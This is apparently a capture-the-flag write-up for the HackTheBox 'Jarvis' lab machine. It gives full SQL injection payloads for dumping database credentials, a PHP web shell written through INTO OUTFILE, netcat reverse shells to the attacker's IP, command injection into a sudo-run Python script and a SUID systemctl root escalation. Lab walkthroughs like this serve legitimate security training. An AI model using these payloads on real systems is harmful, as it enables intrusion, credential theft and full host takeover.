# Jarvis

This is a medium difficulty Linux machine from [HackTheBox](https://app.hackthebox.com/machines/37) created by manulqwerty and Gh0spp7. In this scenario, my IP is 10.10.14.56 and the target’s IP is 10.129.16.167

### Gathering Information

Before doing anything, always start using ping to see if this is working

{% code title="Local Terminal" %}

```bash
ping -c 1 10.129.16.167
```

{% endcode %}

<figure><img src="https://937334506-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNqjbvJ4m6enB6HiVWSTQ%2Fuploads%2Frh9Ytc7LdAtkXrcidrsk%2Fimage.png?alt=media&#x26;token=8e7836f3-188b-4872-9ccd-dd3609b5f2e2" alt=""><figcaption><p>TTL is around 63, so it’s a Linux Machine</p></figcaption></figure>

Using nmap, we are going to Scan all open ports (-p- –open) with the highest speed (T5) without DNS resolution (-n), if you want more speed, you can use **nmap -p- -sS –min-rate 5000 --open -vvv -n -Pn 10.129.16.167**, suggestion by [S4vitaar](https://www.twitch.tv/s4vitaar).

{% code title="Local Terminal" %}

```bash
nmap -p- --open -T5 -v -n 10.129.16.167
```

{% endcode %}

<figure><img src="https://937334506-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNqjbvJ4m6enB6HiVWSTQ%2Fuploads%2FJ4rB02g9nN7fSd5pdbiB%2Fimage.png?alt=media&#x26;token=d1f09911-f6a9-4df3-8e2b-42b7c491c371" alt=""><figcaption><p>nmap’s output</p></figcaption></figure>

Now we want to gather aditional information by using nmap’s default scripts {-sC} with detailed versions {-sV}

{% code title="Local Terminal" %}

```bash
nmap -sC -sV -p 22,80,64999 10.129.16.167
```

{% endcode %}

<figure><img src="https://937334506-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNqjbvJ4m6enB6HiVWSTQ%2Fuploads%2FZk0FKUE2AQWRB28AzIL9%2Fimage.png?alt=media&#x26;token=dcee1eca-5eb6-4eb7-b7b2-2a6643e892de" alt=""><figcaption></figcaption></figure>

The important information is, **port 80 http open**, there is a website working using Apache, and in the port 64999 there is another website, we need more details of boths.

{% code title="Local Terminal" %}

```bash
whatweb http://10.129.16.167
```

{% endcode %}

<figure><img src="https://937334506-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNqjbvJ4m6enB6HiVWSTQ%2Fuploads%2FOf1fEVaB0HwTt1SI7IzQ%2Fimage.png?alt=media&#x26;token=5e7f4cf5-0b67-47dd-a08a-89f74939fbff" alt=""><figcaption></figcaption></figure>

{% code title="Local Terminal" %}

```bash
whatweb http://10.129.16.167:64999
```

{% endcode %}

<figure><img src="https://937334506-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNqjbvJ4m6enB6HiVWSTQ%2Fuploads%2FuvSdfWndQ6OpD3DvFDPr%2Fimage.png?alt=media&#x26;token=6bfe04af-b4f5-4676-8867-15c7bc6bba1a" alt=""><figcaption></figcaption></figure>

From both, the relevant information is { Email : <supersecurehotel@logger.htb> }, now we are going to open the browser and check the website, to explore and check if there is a vulnerable URL.

* Browser:    <http://10.129.16.167>

If you pick a room, you will see that the URL has a modifiable parameter to explore each room type, let’s try with two thing, first, what happen if you use an invalid number, and then try SQL Injection by adding ” or 1=1 -- -” at the URL.

<figure><img src="https://937334506-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNqjbvJ4m6enB6HiVWSTQ%2Fuploads%2F6b9vDS91YLbG9ToJ6fI5%2Fimage.png?alt=media&#x26;token=27657cda-ba3d-48f2-8892-ce77dcbbea76" alt=""><figcaption><p>Website after picking a room</p></figcaption></figure>

* Browser     <http://10.129.16.167/room.php?cod=-1> or 1=1 -- -
  * This one show information, it is a good signal
* Browser:    <http://10.129.16.167/room.php?cod=-1> order by 1-- -&#x20;
  * Tried with order by from 1 to 9, but nothing happens.
* Browser:    <http://10.129.16.167/room.php?cod=-1> union select 1,2,3,4,5,6,7-- -
  * It shows information if you try by selecting every column until 7.

<figure><img src="https://937334506-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNqjbvJ4m6enB6HiVWSTQ%2Fuploads%2FMxvL0zr18IfQaWsSmmz3%2Fimage.png?alt=media&#x26;token=41c45b7e-09a3-40b9-85f1-d96c64185051" alt=""><figcaption><p>website’s output by using select from 1 to 7</p></figcaption></figure>

* Browser:    <http://10.129.16.167/room.php?cod=-1> union select 1,2,NULL,4,5,6,7-- -

Ok, there is no doubt that this website is vulnerable to SQL Injection, now we are going to test what kind if information we can gain from it.

* Browser:    <http://10.129.16.167/room.php?cod=-1> union select 1,2,”test”,4,5,6,7-- -

<figure><img src="https://937334506-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNqjbvJ4m6enB6HiVWSTQ%2Fuploads%2FYdEBB20fIizEHzlzTEED%2Fimage.png?alt=media&#x26;token=1a0ba960-6067-427c-b639-5aef7ad54d62" alt=""><figcaption><p>It works, we can put strings</p></figcaption></figure>

* Browser:    <http://10.129.16.167/room.php?cod=-1> union select 1,2,database(),4,5,6,7-- -

<figure><img src="https://937334506-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNqjbvJ4m6enB6HiVWSTQ%2Fuploads%2FjpR8Y5LRWPFhxq7hmS3w%2Fimage.png?alt=media&#x26;token=b1921ba4-8fad-472e-9cab-09b41579a12f" alt=""><figcaption><p>Even Commands!</p></figcaption></figure>

* Browser:         <http://10.129.16.167/room.php?cod=-1> union select 1,2,version(),4,5,6,7-- -

<div align="center"><figure><img src="https://937334506-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNqjbvJ4m6enB6HiVWSTQ%2Fuploads%2FOkehSvdtSkDtMD5ZJNiO%2Fimage.png?alt=media&#x26;token=f6c24fb0-f7a9-47d6-b60b-2f248168a9fe" alt=""><figcaption></figcaption></figure></div>

* Browser:         <http://10.129.16.167/room.php?cod=-1> union select 1,2,user(),4,5,6,7-- -

<figure><img src="https://937334506-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNqjbvJ4m6enB6HiVWSTQ%2Fuploads%2Ffy7IwOXAvLQxgpaCZ3AJ%2Fimage.png?alt=media&#x26;token=ca7eb0c1-4430-401d-8cd2-d03cd2b5e2dc" alt=""><figcaption></figcaption></figure>

<http://10.129.16.167/room.php?cod=-1> union select 1,2,load\_file(“/etc/passwd”),4,5,6,7-- -

Press **CTRL + U** to visualize the information in a friendlier format

<figure><img src="https://937334506-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNqjbvJ4m6enB6HiVWSTQ%2Fuploads%2FTJO2MECDxmzC9ASblGPM%2Fimage.png?alt=media&#x26;token=bc00b835-e915-4e6a-9d26-be756323a69d" alt=""><figcaption><p>loaded file with CTRL+U, There are two user with bash available</p></figcaption></figure>

In some cases, many string are in a black list, so you can use **echo “/etc/passwd” | tr -d ‘\n’ | xxd -ps** and paste the output with 0x to avoid these situation, the result will be like: **<http://10.129.16.167/room.php?cod=-1> union select 1,2,load\_file(“0x2f6574632f706173737764”),4,5,6,7-- -**

#### Exploitation

Brow: <http://10.129.16.167/room.php?cod=-1> union select 1,2,schema\_name,4,5,6,7 from information\_schema.schemata limit 0,1-- -

<figure><img src="https://937334506-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNqjbvJ4m6enB6HiVWSTQ%2Fuploads%2F7aKsa1VIHpaOqLLvGDVi%2Fimage.png?alt=media&#x26;token=6ff7f165-5806-46f6-a0e5-6f275801a27d" alt=""><figcaption></figcaption></figure>

Here you have to test with other limits, like limit 1,1 or 2,1 or ..., because the row only allows one word, or use the command group\_concat(schema\_name)

* Browser:         <http://10.129.16.167/room.php?cod=-1> union select 1,2,table\_name,4,5,6,7 from information\_schema.tables where table\_schema=”hotel” limit 0,1-- -

<figure><img src="https://937334506-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNqjbvJ4m6enB6HiVWSTQ%2Fuploads%2FALrghdIMYHNKlZMqnJge%2Fimage.png?alt=media&#x26;token=b01b1b43-c158-4d1d-aa7c-143e4ea11b0a" alt=""><figcaption></figcaption></figure>

* Browser:         <http://10.129.16.167/room.php?cod=-1> union select 1,2,group\_concat(column\_name),4,5,6,7 from information\_schema.columns where table\_schema=”hotel” and table\_name=”room” limit 0,1-- -

<figure><img src="https://937334506-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNqjbvJ4m6enB6HiVWSTQ%2Fuploads%2FTOrKLMabXyquNcGv0AXk%2Fimage.png?alt=media&#x26;token=5ec14ef7-13d5-44cb-9be4-28932cbd83b1" alt=""><figcaption></figcaption></figure>

From this table, we can get the information of every room, you can use sqlmap to get the same information, details at the bottom.

* Browser:         <http://10.129.16.167/room.php?cod=-1> union select 1,2,group\_concat(User,0x3a,Password),4,5,6,7 from mysql.user-- -

<figure><img src="https://937334506-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNqjbvJ4m6enB6HiVWSTQ%2Fuploads%2FGFfGrRDld9jxJ15hpnL1%2Fimage.png?alt=media&#x26;token=21617eb8-30d4-4735-996e-274ce1bb85e6" alt=""><figcaption></figcaption></figure>

This information is relevant, now we have the credentials of the administrator, but we have to decrypt it {DBadmin:\*2D2B7A5E4E637B8FBA1D17F40318F277D29964D0}

* Browser:         <https://crackstation.net/>

<figure><img src="https://937334506-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNqjbvJ4m6enB6HiVWSTQ%2Fuploads%2F5AVTkAquIr4h3QY9cdev%2Fimage.png?alt=media&#x26;token=491cc58c-0058-49a6-8cfc-110068d4d257" alt=""><figcaption><p>It works!</p></figcaption></figure>

If the hash is more complex and it's not in crackstation.net, you can use at your terminal the command **hashid** and **hash-identifier** to get the type, and then **hashcat -m 300 -a 0 hash.txt /usr/share/wordlists/rockyou.txt**, at hash.txt it's the target hash and -m is "mode", 300 = MySQL4.1

#### MACHINE RESET - NEW IP (**10.129.212.38**)

Now that we have the username and password of the administrator, we need a place to login, and nmap can help us with it.

{% code title="Local Terminal" %}

```bash
nmap –script http-enum -p80 10.129.212.38
```

{% endcode %}

<figure><img src="https://937334506-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNqjbvJ4m6enB6HiVWSTQ%2Fuploads%2Ffq5fFm1otKZI8qRbFNtv%2Fimage.png?alt=media&#x26;token=82ef2242-9f4b-47ed-a366-2ba8999767e6" alt=""><figcaption><p>nmap's output</p></figcaption></figure>

PhpMyAdmin is an important place to test the new user and password, open your browser and go to <http://10.129.212.38/phpmyadmin/>

<figure><img src="https://937334506-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNqjbvJ4m6enB6HiVWSTQ%2Fuploads%2FjAJ08lWzLtCGsVSxAmyD%2Fimage.png?alt=media&#x26;token=279dc9ce-3fed-4f03-a550-f3f44916922e" alt=""><figcaption></figcaption></figure>

<figure><img src="https://937334506-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNqjbvJ4m6enB6HiVWSTQ%2Fuploads%2FfW7kfK8zrlkeNBG7wxVw%2Fimage.png?alt=media&#x26;token=0ff1279d-dba9-42fd-9514-3bee44259077" alt=""><figcaption></figcaption></figure>

This is extremely important, we can use SQL queries to get information about the host. Example of what we can do:

<figure><img src="https://937334506-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNqjbvJ4m6enB6HiVWSTQ%2Fuploads%2FDzfw6KNLgsF3jv7pWX4W%2Fimage.png?alt=media&#x26;token=b0103de7-b9bc-4fdf-8210-6ebaba940680" alt=""><figcaption><p>Creation of a file with SQL</p></figcaption></figure>

* Browser:         <http://10.129.212.38/datatest.txt>

<figure><img src="https://937334506-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNqjbvJ4m6enB6HiVWSTQ%2Fuploads%2FG7b0wrrwdAuZw9UMvLzV%2Fimage.png?alt=media&#x26;token=5ed2e177-11e7-4451-a6ef-01ee3d6c2621" alt=""><figcaption><p>It works!</p></figcaption></figure>

But enough exploration, now that we have admin permission we can do the following step to connect to the machine

* Browser:         <http://10.129.212.38/room.php?cod=-1> union select 1,2,”\<?php system(‘whoami’); ?>”,4,5,6,7 into outfile “/var/www/html/testing.php”-- -
* Browser:         <http://10.129.212.38/testing.php>

<figure><img src="https://937334506-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNqjbvJ4m6enB6HiVWSTQ%2Fuploads%2FviHSyH8mLIoDB0skHocb%2Fimage.png?alt=media&#x26;token=074e99d6-d0ab-4c1e-96f8-19f67acd2449" alt=""><figcaption><p>Output of target's whoami</p></figcaption></figure>

We can execute commands, so we are going to create a reverse shell by using RCE.

* Browser:         <http://10.129.212.38/room.php?cod=-1> union select 1,2,”\<?php system($\_REQUEST\[‘cmd’]); ?>”,4,5,6,7 into outfile “/var/www/html/CMD.php”-- -
* Browser:         <http://10.129.212.38/CMD.php>

<figure><img src="https://937334506-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNqjbvJ4m6enB6HiVWSTQ%2Fuploads%2FAZTuH53anv5lbr1zJJKs%2Fimage.png?alt=media&#x26;token=6ccb971b-556e-4e97-8398-703f39856673" alt=""><figcaption></figcaption></figure>

The slot 3 disappeared, and now we can control the output with adding ?cmd=**COMMAND** at the url

* Browser:                     <http://10.129.212.38/CMD.php?cmd=whoami>

<figure><img src="https://937334506-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNqjbvJ4m6enB6HiVWSTQ%2Fuploads%2FskRt8R5n8NAE8SxdsMGB%2Fimage.png?alt=media&#x26;token=b48b5555-73f5-4072-aa9e-6b7e222c11d1" alt=""><figcaption><p>Perfect!</p></figcaption></figure>

So, now we want to control with a bash terminal, we need to do two steps.

{% code title="Local Terminal" %}

```bash
nc -nlvt 443
```

{% endcode %}

* Browser:         <http://10.129.212.38/CMD.php?cmd=which> nc&#x20;
  * To check if exist
* Browser:         <http://10.129.212.38/CMD.php?cmd=nc> -e /bin/bash 10.10.14.56 443

<figure><img src="https://937334506-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNqjbvJ4m6enB6HiVWSTQ%2Fuploads%2Fd5DnjjEvrx1cE4rFRP1X%2Fimage.png?alt=media&#x26;token=263cfbe1-4389-43f2-8358-5e5bfefc6b11" alt=""><figcaption><p>Terminal Screen.</p></figcaption></figure>

We are in, so now we need only an [TTY treatment](https://robertos-notebook.gitbook.io/cybersecurity/cybersecurity/tip-and-tricks/bash-upgrade) to have a functional shell with shortcuts.

{% code title="Target Terminal" %}

```bash
cd /home/pepper
ls -l
```

{% endcode %}

<figure><img src="https://937334506-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNqjbvJ4m6enB6HiVWSTQ%2Fuploads%2FPJyfPzbi05AuaMGpwdez%2Fimage.png?alt=media&#x26;token=60b63a1c-215a-4afe-853b-3272d28c3b96" alt=""><figcaption><p>As you can see, as the current user, we cant open the archive user.txt</p></figcaption></figure>

{% code title="Target Terminal" %}

```bash
id
sudo -l
```

{% endcode %}

<figure><img src="https://937334506-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNqjbvJ4m6enB6HiVWSTQ%2Fuploads%2FYzE8okMQpe3o6M4FdkHX%2Fimage.png?alt=media&#x26;token=3a346ad3-ce57-46b6-9fe0-3e980fad0156" alt=""><figcaption></figcaption></figure>

We are user www-data, a simple guess, But with the current user we have all the access to the file **simpler.py**

{% code title="Target www-data" %}

```bash
sudo -u pepper /var/www/Admin-Utilities/simpler.py
```

{% endcode %}

<figure><img src="https://937334506-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNqjbvJ4m6enB6HiVWSTQ%2Fuploads%2FEflQGaDlMyWNMENpQpka%2Fimage.png?alt=media&#x26;token=2ceba6f1-d37c-4c30-b303-b9028aeedae0" alt=""><figcaption><p>Sympler.py’s menu</p></figcaption></figure>

{% code title="Target www-data" %}

```bash
vi pepper /var/www/Admin-Utilities/simpler.py
```

{% endcode %}

<figure><img src="https://937334506-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNqjbvJ4m6enB6HiVWSTQ%2Fuploads%2FeG6df9rF9H6SkUxpISwu%2Fimage.png?alt=media&#x26;token=dd5af089-fa8a-4648-bffd-a3eb035dc9cd" alt=""><figcaption></figcaption></figure>

Looks like a test and defense system, and the section of the image, looks like a simple exploitable function, first we need to create an script file.

{% code title="Target www-data" %}

```bash
cd /tmp/
vi reverse.sh
```

{% endcode %}

{% code title="reverse.sh" %}

```bash
#!/bin/bash

nc -e /bin/bash 10.10.14.56 443
```

{% endcode %}

{% code title="Target www-data" %}

```bash
chmod +x reverse.sh
```

{% endcode %}

Now open a new Local Terminal, because the file reverse.sh will connect to that terminal

{% code title="Local Terminal" %}

```bash
nc -nlvp 443
```

{% endcode %}

{% code title="Target www-data" %}

```bash
sudo -u pepper /var/www/Admin-Utilities/simpler.py -p
```

{% endcode %}

{% code title="Target Simple.py" %}

```bash
$(bash /tmp/reverse.sh)
```

{% endcode %}

<figure><img src="https://937334506-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNqjbvJ4m6enB6HiVWSTQ%2Fuploads%2FmjXWoQu4ZFOfRH1B2fky%2Fimage.png?alt=media&#x26;token=2f5bc197-32e0-4dda-ac17-379f0b678dc5" alt=""><figcaption></figcaption></figure>

Now the second terminal is a new Victim-Bash with the user Pepper, follow the same[ tty treatment](https://robertos-notebook.gitbook.io/cybersecurity/cybersecurity/tip-and-tricks/bash-upgrade).

{% code title="Target Pepper" %}

```bash
cd
ls
cat user.txt
```

{% endcode %}

<figure><img src="https://937334506-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNqjbvJ4m6enB6HiVWSTQ%2Fuploads%2Fl2lZKMFFtx5Pk8AMGMfV%2Fimage.png?alt=media&#x26;token=2a59fdec-2db0-4293-920e-9fecdcf76bba" alt=""><figcaption><p>User Flag!</p></figcaption></figure>

#### Privileges Scalation

For Privileges Scalation, a good practice is to find a custom command or something weird to abuse.

{% code title="Target Pepper" %}

```bash
cd ..
cd ..
id
find \-perm -4000 2>/dev/null
```

{% endcode %}

<figure><img src="https://937334506-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNqjbvJ4m6enB6HiVWSTQ%2Fuploads%2FzhkUJA0eC535a1Brow4A%2Fimage.png?alt=media&#x26;token=787563a8-9349-4175-8da7-3f7e410bd091" alt=""><figcaption><p>Output from find command</p></figcaption></figure>

By executing this command from the root folder, you can see the files with high privileges, in this case, **systemctl** is our target. With this we can restart the system with an added command.

<figure><img src="https://937334506-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNqjbvJ4m6enB6HiVWSTQ%2Fuploads%2FhZOvXtXHJ4jpNZX4EYt9%2Fimage.png?alt=media&#x26;token=ab9b2804-f411-48d8-8239-6255a5a565c3" alt=""><figcaption></figcaption></figure>

{% code title="Target Pepper" %}

```bash
cd privesc
cp /tmp/reverse.sh privesc.sh
```

{% endcode %}

Remember to modify the file privesc.sh to the **port 444**, we don’t want to interrupt the current working port.

<figure><img src="https://937334506-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNqjbvJ4m6enB6HiVWSTQ%2Fuploads%2FHbxrDepaKHumZvHKLR77%2Fimage.png?alt=media&#x26;token=d7c77388-cdc4-407e-a386-4e108c072819" alt=""><figcaption></figcaption></figure>

{% code title="Target Pepper" %}

```bash
nano privesc.service
```

{% endcode %}

<figure><img src="https://937334506-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNqjbvJ4m6enB6HiVWSTQ%2Fuploads%2F0Yb8cDIT0neN8uyFtFNh%2Fimage.png?alt=media&#x26;token=541fdf0f-3422-4e01-b447-95bdbcbbeebe" alt=""><figcaption><p>privesc.service</p></figcaption></figure>

Open a new terminal, and prepare to connect with: nc -nlvt 444

{% code title="Local Terminal" %}

```bash
nc -nlvt 444
```

{% endcode %}

{% code title="Target Pepper" %}

```bash
systemctl link /home/pepper/privesc/privesc.service
systemctl enable –now /home/pepper/privesc/privesc.service
```

{% endcode %}

<figure><img src="https://937334506-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNqjbvJ4m6enB6HiVWSTQ%2Fuploads%2FZaiKUBDfsIaZGdOghlWS%2Fimage.png?alt=media&#x26;token=e947a34a-8f0e-418b-9d98-e2056f701624" alt=""><figcaption></figcaption></figure>

Now you are connected as root.

{% code title="Target Root" %}

```bash
/dev/null -c bash
ls
cd root
ls
cat root.txt
```

{% endcode %}

<figure><img src="https://937334506-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNqjbvJ4m6enB6HiVWSTQ%2Fuploads%2FwffxuzN2EvYF9xnNBtqR%2Fimage.png?alt=media&#x26;token=68c451ee-e3d3-4780-9ca4-5052eae1905b" alt=""><figcaption><p>Admin flag!</p></figcaption></figure>

### Alternative: SQLmap

At the SQL step, another option is to use sqlmap, first get the cookie from the website.

<figure><img src="https://937334506-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNqjbvJ4m6enB6HiVWSTQ%2Fuploads%2F2hmHJ0tAIucz4Me5C6CY%2Fimage.png?alt=media&#x26;token=163b38f9-d702-446a-aaea-f9aaaf80c55b" alt=""><figcaption></figcaption></figure>

{% code title="Local Terminal" %}

```bash
sqlmap -u http://10.129.16.167/room.php?cod=1 --cookie=’PHPSESSID=sc0us610ooevshi902rqdq98d4′ --dbs
```

{% endcode %}

<figure><img src="https://937334506-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNqjbvJ4m6enB6HiVWSTQ%2Fuploads%2FRxSmVf1Dkr89md1Xdsmm%2Fimage.png?alt=media&#x26;token=089332ca-290b-4ed6-8cd1-3cc96b8c202f" alt=""><figcaption><p>sqlmap's output, there are 4 DBs</p></figcaption></figure>

{% code title="Local Terminal" %}

```bash
sqlmap -u http://10.129.16.167/room.php?cod=1 --cookie=’PHPSESSID=sc0us610ooevshi902rqdq98d4′ -D hotel -tables
```

{% endcode %}

<figure><img src="https://937334506-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNqjbvJ4m6enB6HiVWSTQ%2Fuploads%2FJ1a1yd2Va0WchJdqo7PS%2Fimage.png?alt=media&#x26;token=9c60a6a2-6121-4391-bb35-5db21470664f" alt=""><figcaption><p>sqlmap output, there is one table at the hotel DB</p></figcaption></figure>

{% code title="Local Terminal" %}

```bash
sqlmap -u http://10.129.16.167/room.php?cod=1 --cookie=’PHPSESSID=sc0us610ooevshi902rqdq98d4′ -D hotel -T room --dump
```

{% endcode %}

<figure><img src="https://937334506-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNqjbvJ4m6enB6HiVWSTQ%2Fuploads%2FGmqYjV4PwM1vqrgGGD7t%2Fimage.png?alt=media&#x26;token=0ed73ea5-2965-413d-812f-4a5910678236" alt=""><figcaption><p>Location of the output</p></figcaption></figure>

Now, go to that location and see the file or move to your current location with: **mv /home/robertoalfaro/.local/share/sqlmap/output/10.129.16.167/dump/hotel/room.csv .**

<figure><img src="https://937334506-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FNqjbvJ4m6enB6HiVWSTQ%2Fuploads%2FVXRVFT1psYo9RA5x2P69%2Fimage.png?alt=media&#x26;token=b1faaed4-9f87-4f4d-afb3-2dd221a35651" alt=""><figcaption></figcaption></figure>

You can do the same to get the credentials at the database named “mySQL”
